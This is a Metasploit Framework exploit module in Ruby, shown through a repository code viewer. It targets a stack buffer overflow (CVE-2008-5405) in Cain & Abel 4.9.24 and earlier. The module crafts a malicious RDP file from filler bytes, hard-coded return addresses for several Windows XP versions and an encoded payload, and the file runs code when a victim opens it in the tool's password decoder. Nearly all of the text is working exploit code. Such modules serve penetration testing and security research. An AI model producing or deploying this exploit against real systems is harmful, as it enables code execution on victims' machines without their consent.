Statistics
| Branch: | Tag: | Revision:

root / modules / exploits / windows / fileformat / cain_abel_4918_rdp.rb @ master

History | View | Annotate | Download (2 kB)

1
##
2
# $Id$
3
##
4

    
5
##
6
# This file is part of the Metasploit Framework and may be subject to
7
# redistribution and commercial restrictions. Please see the Metasploit
8
# Framework web site for more information on licensing and terms of use.
9
# http://metasploit.com/framework/
10
##
11

    
12
require 'msf/core'
13

    
14
class Metasploit3 < Msf::Exploit::Remote
15
        Rank = GoodRanking
16

    
17
        include Msf::Exploit::FILEFORMAT
18

    
19
        def initialize(info = {})
20
                super(update_info(info,
21
                        'Name'           => 'Cain & Abel <= v4.9.24 RDP Buffer Overflow',
22
                        'Description'    => %q{
23
                                        This module exploits a stack-based buffer overflow in the Cain & Abel v4.9.24
24
                                and below. An attacker must send the file to victim, and the victim must open
25
                                the specially crafted RDP file under Tools -> Remote Desktop Password Decoder.
26
                        },
27
                        'License'        => MSF_LICENSE,
28
                        'Author'         => [ 'Trancek <trancek[at]yashira.org>' ],
29
                        'Version'        => '$Revision$',
30
                        'References'     =>
31
                                [
32
                                        [ 'CVE', '2008-5405' ],
33
                                        [ 'OSVDB', '50342' ],
34
                                        [ 'URL', 'http://www.milw0rm.com/exploits/7329' ],
35
                                        [ 'BID', '32543' ],
36
                                ],
37
                        'Payload'        =>
38
                                {
39
                                        'Space'    => 800,
40
                                        'BadChars' => "\x00\x0a\x0d\x3c\x22\x3e\x3d",
41
                                        'EncoderType'   => Msf::Encoder::Type::AlphanumMixed,
42
                                        'StackAdjustment' => -3500,
43
                                },
44
                        'Platform' => 'win',
45
                        'Targets'        =>
46
                                [
47
                                        # Tested ok patrickw 20090503
48
                                        [ 'Windows XP SP2 English',         { 'Ret' => 0x7c82385d } ], #call esp
49
                                        [ 'Windows XP SP0/1 English',         { 'Ret' => 0x71ab7bfb } ], #jmp esp
50
                                        [ 'Windows XP SP2 Spanish',        { 'Ret' => 0x7c951eed } ], #jmp esp
51
                                ],
52
                        'Privileged'     => false,
53
                        'DisclosureDate' => 'Nov 30 2008',
54
                        'DefaultTarget'  => 0))
55

    
56
                register_options(
57
                        [
58
                                OptString.new('FILENAME', [ true, 'The file name.',  'exploit_cain.rdp']),
59
                        ], self.class)
60
        end
61

    
62
        def exploit
63

    
64
                filerdp = rand_text_alpha_upper(8206)
65
                filerdp << [target.ret].pack('V') + [target.ret].pack('V')
66
                filerdp << payload.encoded
67
                print_status("Creating '#{datastore['FILENAME']}' file ...")
68

    
69
                file_create(filerdp)
70

    
71
        end
72

    
73
end